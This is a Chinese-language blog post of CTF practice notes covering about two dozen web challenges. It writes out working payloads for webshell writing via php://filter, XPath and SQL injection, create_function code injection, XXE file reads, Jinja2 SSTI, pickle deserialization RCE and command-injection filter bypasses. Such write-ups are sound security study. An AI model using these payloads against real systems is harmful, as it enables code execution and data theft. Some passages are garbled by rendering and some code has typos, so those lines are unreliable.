2106 字
11 分钟
习题2
2026-03-24

1.到底给不给 flag#

GET:?a=flag&flag=a

PSOT:?a=flag data:_GET[flag]=a

2.写 shell#

很明显需要传入 webshell 并要让<?php exit() 失效,开始尝试传 filename=1.php,/&content=/websehll 尝试后发现不行,在本地尝试也不行,会报错,应该是不允许这样的路径

file_put_contents 可以使用伪协议,同时又需要使<?php exit()失效,尝试写入 base64 编码后的内容,base64 会忽略掉非法字符,只剩下 phpexit,同时 base64 需要长度为 4 的倍数,将 webshell base64 编码后添加一个字符,补齐前面字符串长度为 8,过滤掉前面字符串的影响

最终 payload:?filename=php://filter/write=convert.base64-decode/resource=1.php content=aPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4= a 作补齐作用,

3.注入#

进入环境有一个查询按钮,点击查询可以通过 id 来查询人物信息,首先考虑 sql 注入,但是尝试单引号等都不报错,查看题解发现有一个 xpath 注入

有关信息:https://www.cnblogs.com/endust/p/11831729.html

可能查询结构 //user[id=‘$input’]

payload:’]|//|//[’

拼接后 //uer=[id=”]|//|//[”]

//表示相对路径,从当前的节点选择匹配的节点

| 表示连接 *匹配所有元素节点

回显所有元素

4.某函数的复仇#

明显利用点:shaw(′′,shaw('',root); 开始考虑可能是某个反射类或 匿名函数

找到一个可利用方法 create_function(args,code){},相当于 eval(function(args){code});闭合{}实现逃逸,

payload=create_function root=;}system(‘more /flag’)//

5.xxe#

显示了基本信息,参数 c 不管输入什么都回显 phpinfo()内容

提示 xxe,扫目录扫到 dom.php

报错显示: DOMDocument::loadXML(): Empty string supplied as input

DOMDocument::loadXML() 中用来解析 xml 字符串,默认解析外部实体,报错显示传进去的 xml 为空

直接构造 payload:

]>

&test;

!ENTITY test SYSTEM 表示引入外部实体 test,遇到&test;会替换成 STSTEM 指向的内容 file://etc/passwd

直接使用 file 协议解析失败,php 代码会破化 xml 结构,尝试伪协议 base64 编码:

]>

&test;

成功拿到 flag

6.ssti#

题目显示 ssti,直接注,确定是 jinjia2

尝试发现 subclass 关键字被过滤,尝试链子:/?name={{lipsum.globals[‘os’].popen(‘cat+/flag’).read()}}直接绕过

7.unpickle#

查看附件,python 反序列化

python 中序列化:pickle.dumps() 反序列化:pickle.loads()

构造 payload:

class user:
der __reduce__(self):反序列化时执行
import os
return (eval,("__import__('os').popen('cat /flag').read())
payload=pickle.dumps(user())
payload=base64.b64encode(payload)
print(payload)
# 除了 __reduce__ + eval,还有多种 payload 形式:
# 1. 直接调用函数
# import pickle, base64, os
# class Exploit:
# def __reduce__(self):
# return (os.popen, ('cat /flag', 'r')) #
# 返回文件对象,需要read
# # 问题:popen返回文件对象,不能直接return
# 2. 使用 subprocess
# import pickle, base64, subprocess
# class Exploit:
# def __reduce__(self):
# return (subprocess.check_output, (['cat', '/flag'],))
# 3. __reduce_ex__ 方法(协议版本)
# class Exploit:
# def __reduce_ex__(self, protocol):
# return (eval, ("__import__('os').popen('cat
# /flag').read()",))
# 4. 手写 pickle 字节码(绕过黑名单)
# 有些题目会过滤 os、system 等关键字,可以用 pickle 原生 opcode
# 绕过:
# import base64
# # 手动构造 pickle opcode
# payload = b'\x80\x04' # 协议4
# payload += b'\x8c\x02os' # 短字符串 'os'
# payload += b'\x94' # memoize
# payload += b'\x8c\x06system' # 'system'
# payload += b'\x94\x93\x94' # getattr -> os.system
# payload += b'\x8c\x08cat /flag' # 命令
# payload += b'\x94\x85\x94R\x94.' # 调用
# print(base64.b64encode(payload).decode())
# 5. builtins.getattr 链
# import pickle, base64
# class Exploit:
# def __reduce__(self):
# import builtins
# return (
# builtins.getattr,
# (builtins.getattr, ('__self__', 'exec')),
# ), ("__import__('os').popen('cat /flag').read()",)
# 6. types.FunctionType 动态创建函数
# import pickle, base64, types
# class Exploit:
# def __reduce__(self):
# return (types.FunctionType, (
# compile("__import__('os').popen('cat /flag').read()",
# '<x>', 'exec'),
# {}
# ),)
# 7. 利用全局变量 __globals__
# import pickle, base64
# class Exploit:
# def __reduce__(self):
# return (
# eval,
# ("[c for c in ''.__class__.__base__.__subclasses__()
# if c.__name__=='catch_warnings'][0]()._module.__builtins__['open']
# ('/flag').read()",)
# )
# 8. 嵌套 REDUCE(多步操作)
# import pickle, base64
# class Exploit:
# def __reduce__(self):
# # 先 open 再 read
# return (
# eval,
# ("open('/flag').read()",)
# )

8.BlackMagic#

extract($_REQUEST)把 GET/POST 参数转换成变量,可以用来实现变量覆盖,但是这里先用了 extract 再定义的变量所以不能实现变量覆盖,但是我们可以用来定义一个新的变量

分析代码需要将strFlag字符串的首尾去除strFlag字符串的首尾去除strCharList中包含的字符,然后要与$strContent 相等

因为中间有不可见字符,所以使用 url 编码再发送,开始以为是空格发送后发现不行,编码后才发现是 tab 符

9.反序列化#

10.找找 shell#

对后门进行了混淆操作,将变量名改一下写的好看点,但是因为前期有一点问题导致后面还差点出来,不想搞了直接 ai

最后得到:?>

扫目录得到 shell.php,链接

11.再来 ping 一波#

正常 ping127.0.0.1

尝试分割符 ; 没被过滤

尝试字符:$ , :没被过滤

空格 {} ?* / 被过滤

关键字过滤:常见读取命令都被过滤

空格使用%0a 绕过,关键字绕过使用$变量名拼接绕过,但是/被过滤掉就只能读取当前目录下的信息,尝试读取 flag 没反应,不在当前目录

查看题解可以直接读取当前 index.php 查看信息

payload:?ip=127.0.0.1;a=ind;b=ex;ta\cIFSIFSa$b.php

构造 payload 时遇到的坑:开始尝试使用%0a 绕过空格,但是%0a 是换行符,使用换行符会被 shell 认定为两条命令,可用IF绕过,/∗但是使用变量名动态拼接cat指令时发现不能回显文件内容,可能因为使用的sh,不允许动态拼接命令∗/并没有不允许使用动态拼接命令,定义变量时用的IF 绕过,/*但是使用变量名动态拼接 cat 指令时发现不能回显文件内容,可能因为使用的 sh,不允许动态拼接命令*/并没有不允许使用动态拼接命令,定义变量时用的a=ca md 难怪不行,但是不能使用 cat 只能用 tac 逆向输出

12.wu#

无字母数字 rce,通过异或,取反,自增 https://www.cnblogs.com/pursue-security/p/15404150.html

?a=(%8C%86%8C%8B%9A%92)((%9c%9e%8b%df%85%97%9a%8c%97%96%99%93%9e%98%d1%8f%97%8f));

13.代码审计 1#

分析代码执行 echo new sys(sys(xsx);

明显利用 php 的原生类

利用文件操作类 SplFileObject,并通过为协议读取

payload:?sys=SplFileObject&xsx=php://filter/convert.base64-encode/resource=flag.php

14.你的马呢#

段标签绕过,再文件包含一下,但不知道为什么用一键可以链上但手动执行命令不行

15.exphp#

不知道为什么连不上,和上面差不多

16.随机值#

分析代码 Polar和Polar 和Light 都是定义的一个局部变量,没有 this 指针,并不是类的属性

payload%3A5%3A%22Index%22%3A4%3A%7Bs%3A13%3A%22%00Index%00Polar1%22%3BN%3Bs%3A13%3A%22%00Index%00Polar2%22%3BN%3Bs%3A8%3A%22%00%2A%00Night%22%3BN%3Bs%3A8%3A%22%00%2A%00Light%22%3BN%3B%7D

17.phpurl#

解密文件名:index.phps

访问路径查看代码

两次 url 编码绕过:index.php?sys=%25%37%38%25%37%38%25%37%33 注意是 index.php

18.search#

开局一个搜索框

单引号闭合;query=1’%09Union%09select%091,2,group_concat(Flag),4,5%09From%09Flag#

19.file#

文件上传

20.Playgame#

$p=new PlayGame();
$p->gameFile="/flag";
$u=new User();
$u->name=$p;
$r=new PlayGame();
$r->user=$p;
$r->user->name=$u;
echo urlencode(serialize($r));

21.csdn#

ssrf 用 file 协议读本地文件

22.Dragon#

进去一个搜索框还以为是 sql 注入什么的,结果抓包直接在 cookie 中

23.tnl#

开局一个搜索框,尝试 sql 注入

jb 输几次数字都没反应还以为卡了,输入 3 时回显报错:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘twothree” at line 1

我都没输单引号抱什么错

尝试扫目录,访问 flag.php 没有东西

访问其他目录也没有收获

查看题解才发现忽略的点,当输入 1,2 时抓包查看会回显 flag is here?,访问 flag.php 时也会回显 flag is here?,同时扫出的目录中还有 1.php,2.php, 所以这个参数可能是用来输入文件名,回显文件内容

尝试文件包含

几个小细节:开始时尝试 php://filter/convert.base64/encode/resource=flag.php 回显报错,又想着先读取 index.php 的源码,没有回显,又尝试读取 1.php 还是没东西,才想到原本时输入数字 1 能够回显 1.php 的内容,说明默认会添加.php 后缀,遂更改为 1 后能正常读取,再尝试 flag 还是不行,依旧报错,接着又尝试 index,成功回显内容

源码:

strpos(s1,s2)返回第二个字符串在第一个字符串中首次出现的位置

字符串中必须要出现 1,2,index 中的一种

利用为协议特性,php://filter 只有特定关键字有语义,垃圾字段会自动忽视,仅限 php://filter,其他的为协议不会忽略

payload:php://filter/convert.base64-encode/index/resource=flag

24.你知道 sys 还能这样玩吗#

直接访问显示 403,扫目录也没发现,结合题目尝试访问 sys.php 回显代码:

符号过滤了 ? * 空格 {} .

没有过滤:$

可以用$IFS 绕过空格,变量拼接绕过关键字,但是.被过滤了有点难搞

查看题解发现新的过滤手法使用 [^a],表示匹配不是 a 的字符,让 shell 自动匹配.和通配符有点像

习题2
https://lab404.cn/posts/exercise-2/
作者
见山
发布于
2026-03-24
许可协议
CC BY-NC-SA 4.0